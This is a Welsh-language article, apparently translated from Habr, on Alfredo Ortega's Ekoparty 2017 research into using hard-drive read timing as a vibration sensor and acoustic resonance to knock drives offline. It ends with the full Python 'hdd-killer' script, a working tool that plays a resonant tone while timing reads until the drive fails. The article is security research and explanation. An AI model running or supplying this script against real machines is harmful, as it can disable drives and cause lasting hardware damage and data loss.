Yng nghynhadledd diogelwch cyfrifiadurol Ekoparty 2017 yn Buenos Aires, dangosodd haciwr yr Ariannin Alfredo Ortega ddatblygiad diddorol iawn - system ar gyfer tapio gwifrau'n gudd o adeiladau heb ddefnyddio meicroffon. Sain wedi'i recordio'n uniongyrchol i'r gyriant caled!

Mae'r HDD yn bennaf yn codi synau amledd isel dwysedd uchel, ôl troed a dirgryniadau eraill. Ni ellir adnabod lleferydd dynol eto, er bod gwyddonwyr yn cynnal ymchwil i'r cyfeiriad hwn (adnabod lleferydd gan ddirgryniadau amledd isel, a gofnodir, er enghraifft, o gyrosgop neu HDD).

Sain yw dirgryniad aer neu gyfrwng arall. Mae person yn eu canfod trwy drwm y glust, sy'n trosglwyddo dirgryniadau i'r glust fewnol. Mae'r meicroffon wedi'i ddylunio'n fras fel clust - yma, hefyd, mae dirgryniadau'n cael eu cofnodi gan bilen denau, sy'n cyffroi ysgogiad trydanol. Mae'r gyriant caled, wrth gwrs, hefyd yn destun dirgryniadau microsgopig oherwydd amrywiadau yn yr aer o'i amgylch. Mae hyn yn hysbys hyd yn oed o nodweddion technegol HDDs: mae gweithgynhyrchwyr fel arfer yn nodi'r lefel dirgryniad uchaf a ganiateir, ac mae'r gyriant caled ei hun yn aml yn ceisio ei osod mewn cynhwysydd gwrth-ddirgryniad wedi'i wneud o rwber neu ddeunydd inswleiddio arall. O hyn mae'n hawdd dod i'r casgliad y gellir recordio synau gan ddefnyddio HDD. Y cyfan sydd ar ôl yw darganfod sut.

Cynigiodd Alfredo Ortega fersiwn unigryw o ymosodiad ochr-sianel, sef ymosodiad amser. Mae'r ymosodiad hwn yn seiliedig ar y rhagdybiaeth bod gwahanol weithrediadau'n cael eu perfformio ar y ddyfais ar wahanol adegau, yn dibynnu ar y data mewnbwn a roddir. Yn yr achos hwn, y “data mewnbwn” yw dirgryniadau'r pen darllen a'r plat HDD, sy'n cyd-fynd â dirgryniadau'r amgylchedd, hynny yw, â sain. Felly, trwy fesur yr amser cyfrifo a pherfformio dadansoddiad ystadegol o'r data, gellir mesur dirgryniadau'r pen / plât ac felly dirgryniadau'r cyfrwng. Po hiraf yr oedi wrth ddarllen data, y cryfaf yw'r dirgryniadau HDD ac, felly, y cryfaf yw'r sain.

Sut i fesur dirgryniad gyriant caled? Syml iawn: dim ond rhedeg yr alwad system read () — a chofnodwch yr amser y mae'n ei gymryd i'w gwblhau. Mae systemau gweithredu modern yn caniatáu ichi ddarllen amseriad galwadau system gyda chywirdeb nanosecond.

Mae cyflymder darllen gwybodaeth o sector yn dibynnu ar leoliad y pen a'r plât, sy'n cyfateb i ddirgryniadau'r cas HDD. Dyna i gyd.

Gwneir dadansoddiad ystadegol gan ddefnyddio cyfleustodau Kscope syml. Fel maen nhw'n dweud, mae popeth dyfeisgar yn syml.

Cyfleustodau Kscope (stat() syscall)

Cyfleustodau bach yw Kscope ar gyfer delweddu gwahaniaethau bach mewn amseroedd gweithredu galwadau system. Ffynhonnellcyhoeddwyd ar GitHub.

Mewn ystorfa ar wahan HDD-amser mae fersiwn o'r cyfleustodau wedi'i ffurfweddu ar gyfer ymosodiad amser ar y gyriant caled, hynny yw, wedi'i ffurfweddu i ddadansoddi galwad y system read ().

Arddangosiad o recordiad sain gan ddefnyddio HDD, gweithrediad cyfleustodau Kscope

Wrth gwrs, ni ellir deall lleferydd yn y modd hwn, ond mae'r HDD yn eithaf addas fel synhwyrydd dirgryniad. Er enghraifft, gallwch gofrestru os yw person yn gwisgo esgidiau caled neu droednoeth yn mynd i mewn i ystafell gyda chyfrifiadur (yn ôl pob tebyg, os yw'r ymosodwr yn gwisgo sneakers meddal neu os oes carped trwchus ar y llawr, ni fydd yr HDD yn gallu cofrestru dirgryniadau - mae hyn yn werth ei wirio). Mae'r cyfrifiadur yn gallu cofrestru gwydr wedi torri neu ddigwyddiadau eraill gyda dwyster sain cryf. Hynny yw, gall y gyriant caled fod yn fath o system canfod ymyrraeth anawdurdodedig.

lladdwr HDD

Gyda llaw, gellir defnyddio techneg debyg i analluogi gyriannau caled. Dim ond yma nid ydym yn tynnu osgiliadau o'r HDD, ond i'r gwrthwyneb, rydym yn cynhyrchu osgiliadau sy'n cael eu bwydo i'r HDD. Os ydych chi'n chwarae sain gan siaradwr ar amledd sy'n atseinio ag amledd HDD, mae'r system yn diffodd y ddyfais yn fuan gyda gwall I / O (mae'r cnewyllyn Linux yn diffodd yr HDD yn llwyr ar ôl 120 eiliad). Gall y gyriant caled ei hun ddioddef niwed na ellir ei wrthdroi.

Diffodd y cnewyllyn Linux y gyriant caled ar ôl 120 eiliad o gyflwyno sain ar amledd soniarus trwy siaradwr y siaradwr USB Edifier r19u. Mae'r siaradwr yn cael ei droi ymlaen tua chwarter y pŵer (llai na 100 mW) ac mae wedi'i leoli 20 cm o'r HDD, wedi'i anelu at y bwrdd i wella dirgryniadau. Ffrâm o fideo gydag arddangosiad o'r llofrudd HDD

Mae'n chwilfrydig bod “ymosodiadau” o'r fath ar HDDs weithiau'n digwydd yn gyfan gwbl trwy ddamwain mewn bywyd bob dydd. Er enghraifft, ym mis Medi 2016, gorfodwyd canolfan ddata Banc ING i atal gweithrediadau am 10 awr ar ôl ymarfer tân. Mae dwsinau o yriannau caled wedi methu oherwydd sŵn uchel nwy anadweithiol yn cael ei ryddhau o silindrau dan bwysau uchel. Roedd y sain yn uchel iawn (mwy na 130 dB), ond ni allwch hyd yn oed weiddi ar y gyriannau caled - mae hyn yn cynyddu'r oedi cyn cyrchu'r HDD.

Arddangosiad o sgrechian dynol ar yriannau caled mewn canolfan ddata. Mesur latency

I gynhyrchu'r sain atseiniol, ysgrifennodd Alfredo Ortega sgript Python o'r enw hdd-laddwr (arddangosiad fideo).

Sgript llofrudd HDD Mae'n eithaf bach, felly gallwch chi ei gyhoeddi yn ei gyfanrwydd yma.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Ffynhonnell: hab.com